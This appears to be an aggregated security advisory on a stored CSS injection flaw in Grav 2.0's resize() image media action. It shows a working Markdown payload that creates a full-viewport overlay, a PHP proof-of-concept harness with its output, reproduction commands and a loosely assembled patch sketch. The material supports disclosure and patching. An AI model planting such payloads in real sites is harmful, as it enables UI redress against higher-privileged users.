Grav, Stored CSS Injection via resize media action, CVE: None stated, Severity: Unspecified -DC-Sep2026-2410

Listen to this Post

Grav 2.0.0-rc.9 and current 2.0 branch allow stored CSS injection.

The issue is in Markdown image media actions.

Prior media hardening rejects direct ?style= payloads.

It also rejects unsafe attribute() fallbacks.

The adjacent resize() action still writes caller-controlled values.

These values go directly into styleAttributes.

A publisher who can edit page Markdown can store a crafted image URL.

The URL renders additional CSS declarations.

The declarations appear in the final attribute.
This crosses a lower-privileged publisher to higher-privileged reviewer/admin boundary.
The same boundary was relevant to earlier media style and attribute advisories.

A lower-privileged content editor can persist CSS declarations.

The declarations render when a higher-privileged user views the page.

They also render in admin preview.

The demonstrated payload creates a full-viewport fixed overlay.

It injects position:fixed.

It injects viewport dimensions.

It injects background color.

It injects z-index declarations.

This does not require JavaScript execution.

The impact is stored CSS injection in rendered content.

There is UI redress and overlay risk.

There is content-manipulation risk in higher-privileged sessions.

Tested versions include Grav 2.0 branch commit 6582166173bb8eb5869d96aea384e0e73777c94c.

Tested versions include Grav 2.0.0-rc.9 commit e03d29aa0d3ece16d73c1ffccfa78df8bf5f28b8.

Minimal Markdown payload uses resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200.

processMediaActions() parses the image query string into media actions.
It invokes the requested public media method with call_user_func_array.
resize() stores width and height directly into style attributes.
parsedownElement() serializes keyed style attributes as raw CSS declarations.

DailyCVE Form:

Platform: Grav 2.0
Version: 2.0.0-rc.9
Vulnerability: Stored CSS injection
Severity: Unspecified
date: Not stated

Prediction: Expected patch TBD

What Undercode Say:

Analytics

git clone https://github.com/getgrav/grav.git
cd grav
git checkout 6582166173bb8eb5869d96aea384e0e73777c94c
grep -R "processMediaActions" system/src/Grav/Common/Page/Markdown/Excerpts.php
grep -R "styleAttributes" system/src/Grav/Common/Media/Traits/StaticResizeTrait.php
grep -R "parsedownElement" system/src/Grav/Common/Media/Traits/MediaObjectTrait.php
$m = new class {
use \Grav\Common\Media\Traits\MediaObjectTrait;
use \Grav\Common\Media\Traits\StaticResizeTrait;
public function addMetaFile($filepath) {}
public function __toString(): string { return ''; }
public function url($reset = true) { return '/img.png'; }
public function get($name, mixed $default = null, $separator = null) { return $default; }
public function set($name, mixed $value, $separator = null) { return $this; }
protected function createThumbnail($thumb) { return null; }
protected function createLink(array $attributes) { return null; }
protected function getItems(): array { return []; }
};
$excerpts = new \Grav\Common\Page\Markdown\Excerpts(null, ['markdown' => [], 'images' => []]);
$m = $excerpts->processMediaActions(
$m,
'image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200'
);
$element = $m->parsedownElement('', '', '', '', false);
var_dump($element['attributes']['style']);
<img src="image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200" alt="logo" />
width: 100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999px;height: 200px;

Exploit: (Educational Purposes!)

<img src="image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200" alt="logo" />
$m = new class {
use \Grav\Common\Media\Traits\MediaObjectTrait;
use \Grav\Common\Media\Traits\StaticResizeTrait;
public function addMetaFile($filepath) {}
public function __toString(): string { return ''; }
public function url($reset = true) { return '/img.png'; }
public function get($name, mixed $default = null, $separator = null) { return $default; }
public function set($name, mixed $value, $separator = null) { return $this; }
protected function createThumbnail($thumb) { return null; }
protected function createLink(array $attributes) { return null; }
protected function getItems(): array { return []; }
};
$excerpts = new \Grav\Common\Page\Markdown\Excerpts(null, ['markdown' => [], 'images' => []]);
$m = $excerpts->processMediaActions(
$m,
'image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200'
);
$element = $m->parsedownElement('', '', '', '', false);
var_dump($element['attributes']['style']);

Protection: from this CVE

$width = (int) $width;
$height = (int) $height;
$this->styleAttributes['width'] = $width . 'px';
$this->styleAttributes['height'] = $height . 'px';
if (!is_numeric($width) || !is_numeric($height)) { return; }
if (preg_match('/[;:]/', $value)) { return; }

Impact:

Stored CSS injection in rendered content.

Lower-privileged editor to higher-privileged reviewer/admin.

Full-viewport fixed overlay.

No JavaScript execution.

UI redress/overlay and content-manipulation risk.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top